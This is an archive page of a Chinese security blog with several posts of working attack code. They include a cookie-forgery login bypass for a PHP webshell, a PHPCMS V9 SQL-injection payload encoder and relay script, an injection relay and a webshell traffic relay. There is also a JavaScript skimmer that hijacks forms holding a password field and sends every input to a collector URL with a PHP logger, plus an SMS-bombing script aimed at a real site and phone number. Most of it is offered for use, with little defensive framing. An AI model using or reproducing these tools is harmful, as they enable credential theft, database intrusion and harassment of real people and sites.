Silic PHP大马Cookie欺骗漏洞

发布时间:August 27, 2015 // 分类:PHP,代码学习,linux,windows // No Comments

$password="ebd9a3c106064a255aaee28b6eb4f21c";
 
if($_COOKIE['admin_silicpass'] != md5($password)) //如果cookie 里面的admin_silicpass 不等于  md5($password)
{
        ob_start();
        $MSG_TOP = 'LOGIN';
        if(isset($passt))
        {
                $cookietime = time() + 24 * 3600;
                setcookie('admin_silicpass',md5($passt),$cookietime); //问题就是这里  知道了cookied 计算方法完全可以伪造
                if(md5($passt) == md5($password)){die('<meta http-equiv="refresh" content="1;URL=?">');} //看这行 也就是说 $password == $passt 而$password 我们又是知道的 所以就呵呵了
                else{$MSG_TOP = 'PASS IS FALSE';}
        }
Root_Login($MSG_TOP);
ob_end_flush();
exit;
}

更加这个$password 
设置cookie admin_silicpass=b571a9d50cea9d7962781be88992b52a 免密码直接登录了

漏洞比较鸡肋,但不是没用,所以记录下。

https://www.t00ls.net/thread-26062-3-1.html

PHPCMS V9 一个为所欲为的漏洞

发布时间:May 19, 2015 // 分类:PHP,代码学习,转帖文章 // 1 Comment

phpcms phpsso_auth_key泄露: WooYun: PHPCMS V9 一个为所欲为的漏洞 

http://www.2cto.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

1.png

phpsso_auth_key: 0tagvqnxuq1x8x4jvaziib7yx4e9ibnl

由于GPC off,于是就可以sql注入了。


使用authkey加密payload:

<?php

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {

    $key_length = 4;

    $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));

    $fixedkey = md5($key);

    $egiskeys = md5(substr($fixedkey, 16, 16));

    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';

    $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));

    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));

    $i = 0; $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++){
            $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }

    if($operation == 'ENCODE') {

            return $runtokey . str_replace('=', '', base64_encode($result));

    } else {

            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {

                    return substr($result, 26);

            } else {

                    return '';

            }
    }
}

echo sys_auth("action=synlogin&uid=' and updatexml(1,concat('~',user()),1)#", 'ENCODE', '0tagvqnxuq1x8x4jvaziib7yx4e9ibnl');
http://www.2cto.com/api.php?op=phpsso&code=6f56BQgIUVQDVAkGUwEFCgwDAwNSAVBdA1UHD1RSURFZDlgIS0EPCFwDUFhFFl1dCBMWVlkHE0xDUFJDBktfCRhQGlZXVgIFR0weSERPQUpQRh4eHk8CEBA

2.png

看到有人说是phpcms authkey 无法注入。于是噌噌噌的搞了一个中转的脚本

<?php
set_time_limit(0);
$wang_url = 'http://www.0day5.com';

$auth_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxx';

$str = "uid=1".stripslashes($_GET['id']);
$encode = sys_auth($str, 'ENCODE', $auth_key);
$content = file_get_contents($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode);
echo $content;
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
         $key_length = 4;
         $key = md5($key);
         $fixedkey = hash('md5', $key);
         $egiskeys = md5(substr($fixedkey, 16, 16));
         $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
         $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
         $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
         $i = 0; $result = '';
         $string_length = strlen($string);
         for ($i = 0; $i < $string_length; $i++){
                   $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
         }
         if($operation == 'ENCODE') {
                   return $runtokey . str_replace('=', '', base64_encode($result));
         } else {
                   if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {
                            return substr($result, 26);
                   } else {
                            return '';
                   }
         }
}
?>

使用的办法就是填写目标的www还有key。然后丢到havij里面跑就好了

PHP中转访问脚本

发布时间:April 26, 2015 // 分类:PHP,linux,windows // No Comments

<?php
set_time_limit(0); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
 
$url = "http://blog.discuz.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=$id%23"; //supsite 注入页面
 
echo $url;
 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);
 
$output = curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>

将这个文件保存成inj.php即可,这个文件url如下:

http://localhost/inj/inj.php

把需要访问的$id根据目标页的伪静态规则放到指定的位置就可以了。如上。

原理就是通过curl来取得目标页的内容(与直接访问目标页效果一样),只需要修改$url的内容就可以适应各种伪静态规则了。

脚本比较简陋,有需要的童鞋,可根据情况加入post方式,代理,referer等功能。

我们现在访问 http://localhost/inj/inj.php?id=1,

即相当于访问 http://localhost/inj/index.php/index/index/id/1.html ,

呵呵,现在我们就可以通过访问 http://localhost/inj/inj.php?id=1 这个连接访问ado服务器的相关页面了。顺便淘到了一个POST的中转的

<?php 
$webshell="http://www.phpinfo.me/plus/helen.php";//把这里改成你的shell地址 
$webshell=$webshell."?&1141056911=base64_decode"; 
 
$da=$_POST; 
$data = $da; 
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( 
 
//print_r($data); 
 
$data = http_build_query($data);   
$opts = array (   
'http' => array (   
'method' => 'POST',   
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .   
"Content-Length: " . strlen($data) . "\r\n",   
'content' => $data) 
); 
    
$context = stream_context_create($opts);   
$html = @file_get_contents($webshell, false, $context); //发送post   
echo $html;   
 
 
?>

 

js通用截获form密码代码

发布时间:April 26, 2015 // 分类:运维工作,PHP,代码学习 // No Comments

功能:
<form method="POST">(整个表单里如果没找到<input type="password">的框框则不截获,如果找到则截获所有input里的value。)</form>

/***************
通用截获form密码
IE, chrome通过测试
作者 Spider
****************/

function Send_Data(url,ref,datas) {
        var xmlhttp = false;
        //更高效地获取XMLhttp对象
        if(window.XMLHttpRequest) {
                xmlhttp = new XMLHttpRequest();
                if(xmlhttp.overrideMimeType) { xmlhttp.overrideMimeType('text/xml'); }
        } else if(window.ActiveXObject) {
                var xmlobj = ['Microsoft.XMLHTTP','MSXML.XMLHTTP','Msxml2.XMLHTTP.8.0','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'];
                for(var i = 0;i < xmlobj.length;i++) { try { xmlhttp = new ActiveXObject(xmlobj[i]); } catch(e) {} }
        }
        if(!xmlhttp) { return false; }
        //接收截获数据地址(跨域方法百度找)
        var sjurl = 'http://localhost/door/get/xss.php';
        //$_POST['url']-当前地址,$_POST['ref']-来路,$_POST['data']-截获的数据
        var sjpos = 'var=xss&url='+escape(url)+'&ref='+escape(ref)+'&data='+escape(datas);
        //POST方法提交数据
        xmlhttp.open("POST", sjurl, true);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.setRequestHeader("Content-length",sjpos.length);
        xmlhttp.setRequestHeader("Connection","close");
        xmlhttp.send(sjpos);
        return true;
}

function Form_Hijack(thisform) {
        var ispwd = false;
        //查找form里是否含有输入密码的框框
        for(var k = 0;k < thisform.elements.length;k++) {
                var sjobj = thisform.elements[k]; if(sjobj.type == 'password') { ispwd = true; break; }
        }
        //如果没有输入密码的框框则不截获
        if(!ispwd) { return true; }
        var sjurl = window.location;
        var sjref = document.referrer;
        //如果运行在子窗口
        if(window.parent.location) { sjurl = window.parent.location; }
        if(top.document.referrer) { sjref = top.document.referrer; }
        else if(window.parent.document.referrer) { sjref = window.parent.document.referrer; }
        var sjdata = '';
        for(var j = 0;j < thisform.elements.length;j++) {
                var sjobj = thisform.elements[j];
                //过滤掉不重要的对象
                if(sjobj.type != 'button' && sjobj.type != 'submit' && sjobj.type != 'hidden' && sjobj.type != 'image') {
                        //框框的名字(name="") 数据(value="")
                        sjdata += sjobj.name+':'+sjobj.value+' --- ';
                }
        }
        //如果截获成功就发送
        if(sjurl && sjdata) { Send_Data(sjurl,sjref,sjdata); }
        return true;
}

function Start_Hijack() {
        if(document.getElementsByTagName) {
                //开始遍历form表单
                var sjform = document.getElementsByTagName("form");
                //劫持所有form表单的提交事件
                for(var i = 0;i < sjform.length;i++) { sjform[i].onsubmit = function() { return Form_Hijack(this); } }
        }
        return true;
}

//不显示网页错误
window.onerror = function() { return true; }
//页面加载完毕才开始截获
document.onreadystatechange = function() {
        //让子弹飞一会
        if(document.readyState == "complete") { setTimeout('Start_Hijack()',1000); }
}

补充: - 低调求发展6 h7 @  G1 |  v8 V- ^% a
记录截获数据php文件

<?php 
/***************
通用截获form密码 php接收文件
作者 Spider
****************/
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");

//保存数据的文件
$logfile = './xss.txt';

function filew($filename,$filedata,$filemode) {
        $handle = fopen($filename,$filemode);
        $key = fputs($handle,$filedata);
        fclose($handle);
        return $key;
}

function filer($filename,$filesize = 0) {
        $filesize = $filesize ? $filesize : filesize($filename);
        $handle = fopen($filename,'r');
        $filedata = fread($handle,$filesize);
        fclose($handle);
        return $filedata;
}

function checkgpc($array) {
        foreach($array as $key => $var) { $array[$key] = is_array($var) ? checkgpc($var) : stripslashes($var); }
        return $array;
}

if(get_magic_quotes_gpc()) { $_POST = checkgpc($_POST); }

if(isset($_POST['url']) && isset($_POST['ref']) && isset($_POST['data'])) {
        if(strlen($_POST['url']) > 500 || strlen($_POST['ref']) > 500 || strlen($_POST['data']) > 1000) { exit('数据太大不正常'); }
        $temp = filer($logfile);
        $data = $_POST['url'].'●'.$_POST['ref'].'●'.$_POST['data'];
        //是否重复记录
        if(strpos($temp,$data) > -1) { exit('重复记录'); }
        //来路IP
        $reip = '●'.$_SERVER["REMOTE_ADDR"];
        //时间
        $time = '●'.date('Y-m-d H:i',time());
        filew($logfile,$data.$reip.$time."\r\n",'w');
}
?>

 

PHP字符与ascii的互转

发布时间:April 26, 2015 // 分类:代码学习 // No Comments

1.字符转ascii

<?PHP
//中文字符转ascii,首先要判断是gbk/gb2312编码还是utf-8编码
//中文gbk/gb2312 每个中文由两个英文字符组成,也就有两个ascii码
//中文utf-8 每个中文由三个英文字符组成,也就有三个ascii码
//下面以GBK编码为例:
$char = 'gbk';
$str = '我是百度baidu.com';//中英文数字混排
echo "要输出的字符串是: ".$str,$char."<br />\n";;
$c = mb_strlen($str,$char);
for($i =0;$i<$c;$i++){
  $arr[]=mb_substr($str,$i,1,$char);
}
foreach($arr as $i=>$v){
  if(preg_match('/\w/i',$v,$match)){
    echo $v ."的ascii码:".ord($v)."<br />\n";
    $out[] = "   ".ord($v);
  }else{
    echo $v ."的ascii码由两个组成:".ord($v{0})." ".ord($v{1})."<br />\n" ;
    $out[] = "   ".ord($v{0});
    $out[] = "   ".ord($v{1}); 
  }
}
echo $str."的ascii码是:"."<br />\n".implode($out);
?>

2.Ascii转字符型

<?php
//因为解密某些代码所写的还原。没有考虑针对中文的
//$strCont=file_get_contents("test.php");
$strCont=@$_POST[code];
if (isset($strCont)) {
$pieces = explode(" ", $strCont);
for($i=0;$i<count($pieces);$i++){
echo chr($pieces[$i]);
} }
?>
<form method="post" action="">
<textarea cols="80" rows="5" name="code"></textarea>
<input type="submit" name="button" value="submit" />

 

php发送短信炸弹

发布时间:April 26, 2015 // 分类:代码学习 // No Comments

<?
/**
 *本代码仅仅适用于利用X-FORWARDED-FOR获取客户端IP的网站
 *对于其他获取的无效
 */
echo '<meta http-equiv="refresh" content="5"> ';//自动刷新,间隔时间5秒
function curlrequest($url, $postfield,$referer='',$cookie='') {
 $ip= rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244);
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $postfield);
 curl_setopt($ch, CURLOPT_COOKIE, $cookie);
 curl_setopt($ch, CURLOPT_REFERER, $referer); //构造来路
 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-FORWARDED-FOR:'.$ip, 
    'CLIENT-IP:'.$ip,
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'));
 $data = curl_exec($ch); //运行curl
 curl_close($ch);
 return $data;
}
 
$url='http://www.iqingyun.cn/user/getcode.html';
$ref='http://www.iqingyun.cn/?source=growup.com';
$cookies='';//cookies
$postfield=array(
 'phone'=>'13312368637'
);
$postfield = http_build_query($postfield);
$result = curlrequest($url, $postfield,$ref,$cookies);
echo json_decode($result);
?>

 

手动解密wdcp全部的php文件

发布时间:April 26, 2015 // 分类:代码学习 // No Comments

<?php
/**
 *解密的函数wd_decode
 *利用perl来修改的
 */
function wd_decode($filename) {
        $data = unpack('C*', substr(file_get_contents($filename), 9));
        $key = array(0xB8, 0x35, 0x6, 0x2, 0x88, 0x1, 0x5B, 0x7, 0x44, 0x0);//固定的
        $j = count($data);
        foreach($data as $k => &$v) {
                $v = $key [ 2 * ($j % 5) ] ^ ~$v;
                // $v = sprintf('%u', $v);
                $v &= 0xFF;
                $v = pack('C*', $v);
                -- $j;
        }
        return gzuncompress(join('', $data));
}
/**
 *遍历文件以及子目录
 *利用glob函数来实现的
 */
function get_filetree($path){ 
$tree = array(); 
foreach(glob($path.'/*') as $single){ 
if(is_dir($single)){ 
$tree = array_merge($tree,get_filetree($single)); 
} 
else{ 
if(substr($single,-3) == "php")//仅仅是解密php文件,就直接查找php后缀了
 {  
    $tree[] = $single;  
   } 
} 
} 
return $tree; 
} 
 
$path = "D:\\WWW\\wdcp\\"; //当前目录
$r = get_filetree($path); 
foreach ($r as $age) {
     $page=wd_decode($age);
     $fp = fopen($age,"w");//写入自身
     fwrite($fp,$page);
     fclose($fp);
}
?>

 

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...